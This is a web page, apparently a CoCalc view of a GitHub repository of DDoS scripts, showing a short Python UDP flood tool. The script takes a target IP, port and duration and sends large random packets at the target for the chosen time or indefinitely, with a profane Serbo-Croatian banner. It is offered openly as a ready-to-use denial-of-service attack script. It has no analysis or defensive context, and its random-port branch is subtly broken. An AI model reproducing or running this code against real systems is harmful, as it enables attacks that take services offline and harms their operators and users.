Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
R00tS3c
GitHub Repository: R00tS3c/DDOS-RootSec
Path: blob/master/DDOS Scripts/L4/UDP/10gbpsUDP.py
4607 views
1
#!/usr/bin/python
2
import socket,random,sys,time
3
4
if len(sys.argv)==1:
5
sys.exit('Usage: f.py ip port(0=random) length(0=forever)')
6
7
def UDPFlood():
8
port = int(sys.argv[2])
9
randport=(True,False)[port==0]
10
ip = sys.argv[1]
11
dur = int(sys.argv[3])
12
clock=(lambda:0,time.clock)[dur>0]
13
duration=(1,(clock()+dur))[dur>0]
14
print('Jebanje majke: %s:%s for %s seconds'%(ip,port,dur or 'infinite'))
15
sock=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
16
bytes=random._urandom(15000)
17
while True:
18
port=(random.randint(1,15000000),port)[randport]
19
if clock()<duration:
20
sock.sendto(bytes,(ip,port))
21
else:
22
break
23
print('DONE')
24
UDPFlood()
25
26